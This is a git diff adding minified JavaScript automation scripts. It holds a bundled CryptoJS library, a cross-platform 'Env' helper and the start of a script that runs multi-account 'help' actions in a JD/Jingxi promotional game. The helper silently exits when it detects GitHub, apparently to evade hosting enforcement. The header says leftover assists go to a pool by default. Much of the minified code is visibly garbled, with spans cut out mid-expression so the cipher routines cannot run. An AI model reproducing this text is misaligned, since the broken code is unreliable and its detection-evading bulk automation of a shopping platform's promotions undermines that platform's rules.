160,1376256:2151678016,1441792:2151682048,1507328:2147487808,1572864:2151682112,1638400:2147483648,1703936:2151677952,1769472:4198464,1835008:2147487744,1900544:4194304,1966080:64,2031616:4096,1081344:2151677952,1146880:2151682112,1212416:0,1277952:4198400,1343488:4194368,1409024:2147483648,1474560:2147487808,1540096:64,1605632:2147483712,1671168:4096,1736704:2147487744,1802240:2151678016,1867776:4160,1933312:2151682048,1998848:4194304,2064384:4198464},{0:128,4096:17039360,8192:262144,12288:536870912,16384:537133184,20480:16777344,24576:553648256,28672:262272,32768:16777216,36864:537133056,40960:536871040,45056:553910400,49152:553910272,53248:0,57344:17039488,61440:553648128,2048:17039488,6144:553648256,10240:128,14336:17039360,18432:262144,22528:537133184,26624:553910272,30720:536870912,34816:537133056,38912:0,43008:553910400,47104:16777344,51200:536871040,55296:553648128,59392:16777216,63488:262272,65536:262144,69632:128,73728:536870912,77824:553648256,81920:16777344,86016:553910272,90112:537133184,94208:16777216,98304:553910400,102400:553648128,106496:17039360,110592:537133056,114688:262272,118784:536871040,122880:0,126976:17039488,67584:553648256,71680:16777216,75776:17039360,79872:537133184,83968:536870912,88064:17039488,92160:128,96256:553910272,100352:262272,104448:553910400,108544:0,112640:553648128,116736:16777344,120832:262144,124928:537133056,129024:536871040},{0:268435464,256:8192,512:270532608,768:270540808,1024:268443648,1280:2097152,1536:2097160,1792:268435456,2048:0,2304:268443656,2560:2105344,2816:8,3072:270532616,3328:2105352,3584:8200,3840:270540800,128:270532608,384:270540808,640:8,896:2097152,1152:2105352,1408:268435464,1664:268443648,1920:8200,2176:2097160,2432:8192,2688:268443656,2944:270532616,3200:0,3456:270540800,3712:2105344,3968:268435456,4096:268443648,4352:270532616,4608:270540808,4864:8200,5120:2097152,5376:268435456,5632:268435464,5888:2105344,6144:2105352,6400:0,6656:8,6912:270532608,7168:8192,7424:268443656,7680:270540800,7936:2097160,4224:8,4480:2105344,4736:2097152,4992:268435464,5248:268443648,5504:8200,5760:270540808,6016:270532608,6272:270540800,6528:270532616,6784:8192,7040:2105352,7296:2097160,7552:0,7808:268435456,8064:268443656},{0:1048576,16:33555457,32:1024,48:1049601,64:34604033,80:0,96:1,112:34603009,128:33555456,144:1048577,160:33554433,176:34604032,192:34603008,208:1025,224:1049600,240:33554432,8:34603009,24:0,40:33555457,56:34604032,72:1048576,88:33554433,104:33554432,120:1025,136:1049601,152:33555456,168:34603008,184:1048577,200:1024,216:34604033,232:1,248:1049600,256:33554432,272:1048576,288:33555457,304:34603009,320:1048577,336:33555456,352:34604032,368:1049601,384:1025,400:34604033,416:1049600,432:1,448:0,464:34603008,480:33554433,496:1024,264:1049600,280:33555457,296:34603009,312:1,328:33554432,344:1048576,360:1025,376:34604032,392:33554433,408:34603008,424:0,440:34604033,456:1049601,472:1024,488:33555456,504:1048577},{0:134219808,1:131072,2:134217728,3:32,4:131104,5:134350880,6:134350848,7:2048,8:134348800,9:134219776,10:133120,11:134348832,12:2080,13:0,14:134217760,15:133152,2147483648:2048,2147483649:134350880,2147483650:134219808,2147483651:134217728,2147483652:134348800,2147483653:133120,2147483654:133152,2147483655:32,2147483656:134217760,2147483657:2080,2147483658:131104,2147483659:134350848,2147483660:0,2147483661:134348832,2147483662:134219776,2147483663:131072,16:133152,17:134350848,18:32,19:2048,20:134219776,21:134217760,22:134348832,23:131072,24:0,25:131104,26:134348800,27:134219808,28:134350880,29:133120,30:2080,31:134217728,2147483664:131072,2147483665:2048,2147483666:134348832,2147483667:133152,2147483668:32,2147483669:134348800,2147483670:134217728,2147483671:134219808,2147483672:134350880,2147483673:134217760,2147483674:134219776,2147483675:0,2147483676:133120,2147483677:2080,2147483678:131104,2147483679:134350848}],h=[4160749569,528482304,33030144,2064384,129024,8064,504,2147483679],l=n.DES=i.extend({_doReset:function(){for(var t=this._key.words,e=[],r=0;r<56;r++){var i=o[r]-1;e[r]=t[i>>>5]>>>31-i%32&1}for(var n=this._subKeys=[],a=0;a<16;a++){var h=n[a]=[],l=c[a];for(r=0;r<24;r++)h[r/6|0]|=e[(s[r]-1+l)%28]<<31-r%6,h[4+(r/6|0)]|=e[28+(s[r+24]-1+l)%28]<<31-r%6;for(h[0]=h[0]<<1|h[0]>>>31,r=1;r<7;r++)h[r]=h[r]>>>4*(r-1)+3;h[7]=h[7]<<5|h[7]>>>27}var f=this._invSubKeys=[];for(r=0;r<16;r++)f[r]=n[15-r]},encryptBlock:function(t,e){this._doCryptBlock(t,e,this._subKeys)},decryptBlock:function(t,e){this._doCryptBlock(t,e,this._invSubKeys)},_doCryptBlock:function(t,e,r){this._lBlock=t[e],this._rBlock=t[e+1],f.call(this,4,252645135),f.call(this,16,65535),d.call(this,2,858993459),d.call(this,8,16711935),f.call(this,1,1431655765);for(var i=0;i<16;i++){for(var n=r[i],o=this._lBlock,s=this._rBlock,c=0,l=0;l<8;l++)c|=a[l][((s^n[l])&h[l])>>>0];this._lBlock=s,this._rBlock=o^c}var u=this._lBlock;this._lBlock=this._rBlock,this._rBlock=u,f.call(this,1,1431655765),d.call(this,8,16711935),d.call(this,2,858993459),f.call(this,16,65535),f.call(this,4,252645135),t[e]=this._lBlock,t[e+1]=this._rBlock},keySize:2,ivSize:2,blockSize:2});function f(t,e){var r=(this._lBlock>>>t^this._rBlock)&e;this._rBlock^=r,this._lBlock^=r<>>t^this._lBlock)&e;this._lBlock^=r,this._rBlock^=r<192.");var e=t.slice(0,2),i=t.length<4?t.slice(0,2):t.slice(2,4),n=t.length<6?t.slice(0,2):t.slice(4,6);this._des1=l.createEncryptor(r.create(e)),this._des2=l.createEncryptor(r.create(i)),this._des3=l.createEncryptor(r.create(n))},encryptBlock:function(t,e){this._des1.encryptBlock(t,e),this._des2.decryptBlock(t,e),this._des3.encryptBlock(t,e)},decryptBlock:function(t,e){this._des3.decryptBlock(t,e),this._des2.encryptBlock(t,e),this._des1.decryptBlock(t,e)},keySize:6,ivSize:2,blockSize:2});t.TripleDES=i._createHelper(u)}(),function(){var t=mt,e=t.lib.StreamCipher,r=t.algo,i=r.RC4=e.extend({_doReset:function(){for(var t=this._key,e=t.words,r=t.sigBytes,i=this._S=[],n=0;n<256;n++)i[n]=n;n=0;for(var o=0;n<256;n++){var s=n%r,c=e[s>>>2]>>>24-s%4*8&255;o=(o+i[n]+c)%256;var a=i[n];i[n]=i[o],i[o]=a}this._i=this._j=0},_doProcessBlock:function(t,e){t[e]^=n.call(this)},keySize:8,ivSize:0});function n(){for(var t=this._S,e=this._i,r=this._j,i=0,n=0;n<4;n++){r=(r+t[e=(e+1)%256])%256;var o=t[e];t[e]=t[r],t[r]=o,i|=t[(t[e]+t[r])%256]<<24-8*n}return this._i=e,this._j=r,i}t.RC4=e._createHelper(i);var o=r.RC4Drop=i.extend({cfg:i.cfg.extend({drop:192}),_doReset:function(){i._doReset.call(this);for(var t=this.cfg.drop;0>>24)|4278255360&(t[r]<<24|t[r]>>>8);var i=this._X=[t[0],t[3]<<16|t[2]>>>16,t[1],t[0]<<16|t[3]>>>16,t[2],t[1]<<16|t[0]>>>16,t[3],t[2]<<16|t[1]>>>16],n=this._C=[t[2]<<16|t[2]>>>16,4294901760&t[0]|65535&t[1],t[3]<<16|t[3]>>>16,4294901760&t[1]|65535&t[2],t[0]<<16|t[0]>>>16,4294901760&t[2]|65535&t[3],t[1]<<16|t[1]>>>16,4294901760&t[3]|65535&t[0]];for(r=this._b=0;r<4;r++)Rt.call(this);for(r=0;r<8;r++)n[r]^=i[r+4&7];if(e){var o=e.words,s=o[0],c=o[1],a=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),h=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8),l=a>>>16|4294901760&h,f=h<<16|65535&a;for(n[0]^=a,n[1]^=l,n[2]^=h,n[3]^=f,n[4]^=a,n[5]^=l,n[6]^=h,n[7]^=f,r=0;r<4;r++)Rt.call(this)}},_doProcessBlock:function(t,e){var r=this._X;Rt.call(this),lt[0]=r[0]^r[5]>>>16^r[3]<<16,lt[1]=r[2]^r[7]>>>16^r[5]<<16,lt[2]=r[4]^r[1]>>>16^r[7]<<16,lt[3]=r[6]^r[3]>>>16^r[1]<<16;for(var i=0;i<4;i++)lt[i]=16711935&(lt[i]<<8|lt[i]>>>24)|4278255360&(lt[i]<<24|lt[i]>>>8),t[e+i]^=lt[i]},blockSize:4,ivSize:2}),ct.Rabbit=at._createHelper(ut),mt.mode.CTR=(_t=(pt=mt.lib.BlockCipherMode.extend()).Encryptor=pt.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=this._iv,o=this._counter;n&&(o=this._counter=n.slice(0),this._iv=void 0);var s=o.slice(0);r.encryptBlock(s,0),o[i-1]=o[i-1]+1|0;for(var c=0;c>>16,t[1],t[0]<<16|t[3]>>>16,t[2],t[1]<<16|t[0]>>>16,t[3],t[2]<<16|t[1]>>>16],i=this._C=[t[2]<<16|t[2]>>>16,4294901760&t[0]|65535&t[1],t[3]<<16|t[3]>>>16,4294901760&t[1]|65535&t[2],t[0]<<16|t[0]>>>16,4294901760&t[2]|65535&t[3],t[1]<<16|t[1]>>>16,4294901760&t[3]|65535&t[0]],n=this._b=0;n<4;n++)Mt.call(this);for(n=0;n<8;n++)i[n]^=r[n+4&7];if(e){var o=e.words,s=o[0],c=o[1],a=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),h=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8),l=a>>>16|4294901760&h,f=h<<16|65535&a;for(i[0]^=a,i[1]^=l,i[2]^=h,i[3]^=f,i[4]^=a,i[5]^=l,i[6]^=h,i[7]^=f,n=0;n<4;n++)Mt.call(this)}},_doProcessBlock:function(t,e){var r=this._X;Mt.call(this),Bt[0]=r[0]^r[5]>>>16^r[3]<<16,Bt[1]=r[2]^r[7]>>>16^r[5]<<16,Bt[2]=r[4]^r[1]>>>16^r[7]<<16,Bt[3]=r[6]^r[3]>>>16^r[1]<<16;for(var i=0;i<4;i++)Bt[i]=16711935&(Bt[i]<<8|Bt[i]>>>24)|4278255360&(Bt[i]<<24|Bt[i]>>>8),t[e+i]^=Bt[i]},blockSize:4,ivSize:2}),vt.RabbitLegacy=yt._createHelper(St),mt.pad.ZeroPadding={pad:function(t,e){var r=4*e;t.clamp(),t.sigBytes+=r-(t.sigBytes%r||r)},unpad:function(t){var e=t.words,r=t.sigBytes-1;for(r=t.sigBytes-1;0<=r;r--)if(e[r>>>2]>>>24-r%4*8&255){t.sigBytes=r+1;break}}},mt}); +} + + +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}isShadowrocket(){return"undefined"!=typeof $rocket}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){const s=t.method?t.method.toLocaleLowerCase():"post";if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient[s](t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method=s,this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:i,...r}=t;this.got[s](i,r).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}put(t,e=(()=>{})){const s=t.method?t.method.toLocaleLowerCase():"put";if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient[s](t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method=s,this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:i,...r}=t;this.got[s](i,r).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + diff --git a/backUp/gua_wealth_island_help.js b/backUp/gua_wealth_island_help.js new file mode 100644 index 0000000..f96fdc1 --- /dev/null +++ b/backUp/gua_wealth_island_help.js @@ -0,0 +1,612 @@ +/* + https://st.jingxi.com/fortune_island/index2.html + 18 0,1,9,14,18 * * * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_wealth_island_help.js 财富大陆互助 + + 默认按账号顺序提交 + 如需自定义请在环境变量[gua_wealth_island_codeId](只提交前3个)例: + gua_wealth_island_codeId="3,5,8" + + 先账号互助完再助力助力池 + 默认其余的助力给助力池 + 如果介意请不要使用本脚本 + +*/ + +// prettier-ignore +!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var t,e,r,i,n,o,s,c,a,h,l,f,d,u,p,_,v,y,g,B,w,k,S,m,x,b,H,z,A,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z,V,G,J,$,Q,Y,tt,et,rt,it,nt,ot,st,ct,at,ht,lt,ft,dt,ut,pt,_t,vt,yt,gt,Bt,wt,kt,St,mt=mt||function(t){var e;if("undefined"!=typeof window&&window.crypto&&(e=window.crypto),!e&&"undefined"!=typeof window&&window.msCrypto&&(e=window.msCrypto),!e&&"undefined"!=typeof global&&global.crypto&&(e=global.crypto),!e&&"function"==typeof require)try{e=require("crypto")}catch(e){}function r(){if(e){if("function"==typeof e.getRandomValues)try{return e.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof e.randomBytes)try{return e.randomBytes(4).readInt32LE()}catch(t){}}throw new Error("Native crypto module could not be used to get secure random number.")}var i=Object.create||function(t){var e;return n.prototype=t,e=new n,n.prototype=null,e};function n(){}var o={},s=o.lib={},c=s.Base={extend:function(t){var e=i(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init||(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();return t.init.apply(t,arguments),t},init:function(){},mixIn:function(t){for(var e in t)t.hasOwnProperty(e)&&(this[e]=t[e]);t.hasOwnProperty("toString")&&(this.toString=t.toString)},clone:function(){return this.init.prototype.extend(this)}},a=s.WordArray=c.extend({init:function(t,e){t=this.words=t||[],this.sigBytes=null!=e?e:4*t.length},toString:function(t){return(t||l).stringify(this)},concat:function(t){var e=this.words,r=t.words,i=this.sigBytes,n=t.sigBytes;if(this.clamp(),i%4)for(var o=0;o>>2]>>>24-o%4*8&255;e[i+o>>>2]|=s<<24-(i+o)%4*8}else for(o=0;o>>2]=r[o>>>2];return this.sigBytes+=n,this},clamp:function(){var e=this.words,r=this.sigBytes;e[r>>>2]&=4294967295<<32-r%4*8,e.length=t.ceil(r/4)},clone:function(){var t=c.clone.call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],i=0;i>>2]>>>24-n%4*8&255;i.push((o>>>4).toString(16)),i.push((15&o).toString(16))}return i.join("")},parse:function(t){for(var e=t.length,r=[],i=0;i>>3]|=parseInt(t.substr(i,2),16)<<24-i%8*4;return new a.init(r,e/2)}},f=h.Latin1={stringify:function(t){for(var e=t.words,r=t.sigBytes,i=[],n=0;n>>2]>>>24-n%4*8&255;i.push(String.fromCharCode(o))}return i.join("")},parse:function(t){for(var e=t.length,r=[],i=0;i>>2]|=(255&t.charCodeAt(i))<<24-i%4*8;return new a.init(r,e)}},d=h.Utf8={stringify:function(t){try{return decodeURIComponent(escape(f.stringify(t)))}catch(t){throw new Error("Malformed UTF-8 data")}},parse:function(t){return f.parse(unescape(encodeURIComponent(t)))}},u=s.BufferedBlockAlgorithm=c.extend({reset:function(){this._data=new a.init,this._nDataBytes=0},_append:function(t){"string"==typeof t&&(t=d.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(e){var r,i=this._data,n=i.words,o=i.sigBytes,s=this.blockSize,c=o/(4*s),h=(c=e?t.ceil(c):t.max((0|c)-this._minBufferSize,0))*s,l=t.min(4*h,o);if(h){for(var f=0;f>>32-e}function Dt(t,e,r,i){var n,o=this._iv;o?(n=o.slice(0),this._iv=void 0):n=this._prevBlock,i.encryptBlock(n,0);for(var s=0;s>24&255)){var e=t>>16&255,r=t>>8&255,i=255&t;255===e?(e=0,255===r?(r=0,255===i?i=0:++i):++r):++e,t=0,t+=e<<16,t+=r<<8,t+=i}else t+=1<<24;return t}function Rt(){for(var t=this._X,e=this._C,r=0;r<8;r++)ft[r]=e[r];for(e[0]=e[0]+1295307597+this._b|0,e[1]=e[1]+3545052371+(e[0]>>>0>>0?1:0)|0,e[2]=e[2]+886263092+(e[1]>>>0>>0?1:0)|0,e[3]=e[3]+1295307597+(e[2]>>>0>>0?1:0)|0,e[4]=e[4]+3545052371+(e[3]>>>0>>0?1:0)|0,e[5]=e[5]+886263092+(e[4]>>>0>>0?1:0)|0,e[6]=e[6]+1295307597+(e[5]>>>0>>0?1:0)|0,e[7]=e[7]+3545052371+(e[6]>>>0>>0?1:0)|0,this._b=e[7]>>>0>>0?1:0,r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((n*n>>>17)+n*o>>>15)+o*o,c=((4294901760&i)*i|0)+((65535&i)*i|0);dt[r]=s^c}t[0]=dt[0]+(dt[7]<<16|dt[7]>>>16)+(dt[6]<<16|dt[6]>>>16)|0,t[1]=dt[1]+(dt[0]<<8|dt[0]>>>24)+dt[7]|0,t[2]=dt[2]+(dt[1]<<16|dt[1]>>>16)+(dt[0]<<16|dt[0]>>>16)|0,t[3]=dt[3]+(dt[2]<<8|dt[2]>>>24)+dt[1]|0,t[4]=dt[4]+(dt[3]<<16|dt[3]>>>16)+(dt[2]<<16|dt[2]>>>16)|0,t[5]=dt[5]+(dt[4]<<8|dt[4]>>>24)+dt[3]|0,t[6]=dt[6]+(dt[5]<<16|dt[5]>>>16)+(dt[4]<<16|dt[4]>>>16)|0,t[7]=dt[7]+(dt[6]<<8|dt[6]>>>24)+dt[5]|0}function Mt(){for(var t=this._X,e=this._C,r=0;r<8;r++)wt[r]=e[r];for(e[0]=e[0]+1295307597+this._b|0,e[1]=e[1]+3545052371+(e[0]>>>0>>0?1:0)|0,e[2]=e[2]+886263092+(e[1]>>>0>>0?1:0)|0,e[3]=e[3]+1295307597+(e[2]>>>0>>0?1:0)|0,e[4]=e[4]+3545052371+(e[3]>>>0>>0?1:0)|0,e[5]=e[5]+886263092+(e[4]>>>0>>0?1:0)|0,e[6]=e[6]+1295307597+(e[5]>>>0>>0?1:0)|0,e[7]=e[7]+3545052371+(e[6]>>>0>>0?1:0)|0,this._b=e[7]>>>0>>0?1:0,r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((n*n>>>17)+n*o>>>15)+o*o,c=((4294901760&i)*i|0)+((65535&i)*i|0);kt[r]=s^c}t[0]=kt[0]+(kt[7]<<16|kt[7]>>>16)+(kt[6]<<16|kt[6]>>>16)|0,t[1]=kt[1]+(kt[0]<<8|kt[0]>>>24)+kt[7]|0,t[2]=kt[2]+(kt[1]<<16|kt[1]>>>16)+(kt[0]<<16|kt[0]>>>16)|0,t[3]=kt[3]+(kt[2]<<8|kt[2]>>>24)+kt[1]|0,t[4]=kt[4]+(kt[3]<<16|kt[3]>>>16)+(kt[2]<<16|kt[2]>>>16)|0,t[5]=kt[5]+(kt[4]<<8|kt[4]>>>24)+kt[3]|0,t[6]=kt[6]+(kt[5]<<16|kt[5]>>>16)+(kt[4]<<16|kt[4]>>>16)|0,t[7]=kt[7]+(kt[6]<<8|kt[6]>>>24)+kt[5]|0}return t=mt.lib.WordArray,mt.enc.Base64={stringify:function(t){var e=t.words,r=t.sigBytes,i=this._map;t.clamp();for(var n=[],o=0;o>>2]>>>24-o%4*8&255)<<16|(e[o+1>>>2]>>>24-(o+1)%4*8&255)<<8|e[o+2>>>2]>>>24-(o+2)%4*8&255,c=0;c<4&&o+.75*c>>6*(3-c)&63));var a=i.charAt(64);if(a)for(;n.length%4;)n.push(a);return n.join("")},parse:function(e){var r=e.length,i=this._map,n=this._reverseMap;if(!n){n=this._reverseMap=[];for(var o=0;o>>6-s%4*2;n[o>>>2]|=c<<24-o%4*8,o++}return t.create(n,o)}(e,r,n)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="},function(t){var e=mt,r=e.lib,i=r.WordArray,n=r.Hasher,o=e.algo,s=[];!function(){for(var e=0;e<64;e++)s[e]=4294967296*t.abs(t.sin(e+1))|0}();var c=o.MD5=n.extend({_doReset:function(){this._hash=new i.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8|n>>>24)|4278255360&(n<<24|n>>>8)}var 